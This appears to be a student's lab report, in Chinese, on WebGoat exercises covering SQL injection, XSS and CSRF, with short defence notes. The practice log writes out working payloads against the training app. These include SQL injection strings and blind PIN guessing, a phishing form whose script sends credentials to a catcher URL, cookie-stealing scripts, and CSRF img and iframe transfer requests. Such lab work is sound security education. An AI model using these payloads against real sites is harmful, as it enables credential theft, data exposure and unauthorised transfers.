20145212 罗天晨 Web安全基础实践

一.实验后回答问题

(1)SQL注入攻击原理,如何防御

  • 原理:SQL注入攻击是攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做用户名等输入正常网页中以获取数据库信息的攻击,最终达到欺骗服务器执行恶意的SQL命令。
  • 防御措施其实很多,举几个例子:
1.数据有效性校验;
2.封装数据信息;
3.去除代码中的敏感信息;
4.替换或删除单引号;
5.指定错误返回页面;
6.限制SQL字符串连接的配置文件。

总而言之,就是要让web应用程序对用户输入数据的合法性进行判断,从而达到防范的目的。

(2)XSS攻击的原理,如何防御

  • 原理:恶意攻击者通过往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
  • 防范:对用户输入的数据进行过滤、合法性验证,设置不允许通过敏感字符或者对"<>"之类的字符进行替换。

(3)CSRF攻击原理,如何防御

  • 原理:CSRF是跨站请求伪造,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。
  • 防范:CSRF主要是针对cookie进行攻击的,所以防范方式也从cookie上着手:
    1.直接更换授权方式:将持久化的授权方法,如cookie改成为瞬时的授权方法,比如在每个form中提供隐藏field。
    2.定期清理保存的cookie。

二.实验总结与体会

这一次的实验用到了webgoat,在其中做了关于SQL注入、XSS攻击和CSRF攻击,由于是全英文的网页所以对英文能力也有一定的考验==,在上一次的web基础实验中我对SQL注入、XSS攻击的理解只是表面的理解,实现的功能也很简单,这些知识点在这一次的实验中得到了很直观的学习,并且这一次的实验也警示我们,做网站编程的时候一定要对用户输入的信息做一个合法性的判断,不然会非常危险。

三.实践过程记录

开启webgoat

1.在在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启webgoat,直到出现INFO: Starting ProtocolHandler ["http-bio-8080"]

2.打开浏览器,在浏览器中输入localhost:8080/WebGoat进入webgoat

(一)SQL注入

Numeric SQL Injection

1.这一步中用到了burpsuite做代理。

2.将查找语句101后加上or 1=1

3.由于这个实验提示只能成功一次,我第一次没截图……后来就截不到了,只能看到小对勾qwq

Log Spoofing

1.登陆欺骗,通过在用户名中输入%0d%0aLogin succeeded !admin使用户看起来像登录成功:

2.结果图如下:

String SQL Injection

1.通过输入查询的语句使得整张表得以显示,在其中输入' or 1=1;--

2.此时注入的SQL语句为SELECT * FROM user_data WHERE last_name = '' or 1=1;--',即查询表中所有信息

3.效果如下:

Stage 1 String SQL Injection

1.由于这一次设置用户只能自己选择,我们就可以通过在密码里做文章登陆进去,在密码中输入' or 1=1 --
2.发现密码只能输入8位,于是可以改一下代码:

3.成功效果如下:

Stage 3 Numeric SQL Injection

1.这个实验要求我们以larry的身份登录,实现对Neville的profile信息的浏览,首先跟上一次实验的方式一样登陆上去,这样点击ViewProfile是无效的

2.在代理中将行为从Login改为ViewProfile

3.将id改为Neville的ID,并让将其置于首位112 or 1=1 order by salary desc--

4.成功看见了Neville的信息:

Blind Numeric SQL Injection

1.猜测cc_number='4321432143214321' 的PIN值,使用盲注方式

2.输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );然后看到不合法,使用二分法,在代理中截图如下:此时范围缩小到2000到2500之间

3.一步步用二分法尝试:得到值在2363和2365之间,也就是2364

4.显示合法,成功:


(二)XSS攻击

Phishing with XSS 跨站脚本钓鱼攻击

1.然后编写前端代码并在输入框中注入这段前端代码

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

2.会显示出网页

3.然后在弹出的网页中输入用户名和密码,提交即可截获

Stored XSS Attacks 存储型XSS攻击

1.在Message里输入<script>alert("It's 5212!");</script>

2.出现超链接,点击会弹出:

Reflected XSS Attacks

1.在输入框中注入<SCRIPT>alert(document.cookie);</SCRIPT>得到cookies

2.成功:

3.也可以输入指定的URL值,这里的效果为弹出方框http://www.targetserver.com/search.asp?input=<script>alert("hello20145212");</script>


(三)XSCF攻击

CSRF(Cross Site Request Forgery)

1.在message里输入<img src='attack?Screen=280&menu=900&transferFunds=100000' width='1' height='1'>这其中,280是我网页的scr,900是我的网页的menu,100000是转钱数额==

2.点击20145212,方才的代码就会被执行

CSRF Prompt By-Pass

1.与上个实验类似,同样是通过邮件的方式进行恶意请求,这里添加了请求确认的要求,所以需要两个iframe模块,输入如下:

<iframe src="attack?Screen=自己的src&menu=自己的menu&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=自己的src&menu=自己的menu&transferFunds=CONFIRM"> </iframe>

2.成功


成功列表:


posted @ 2017-05-10 21:56  20145212罗天晨  阅读(377)  评论(0编辑  收藏  举报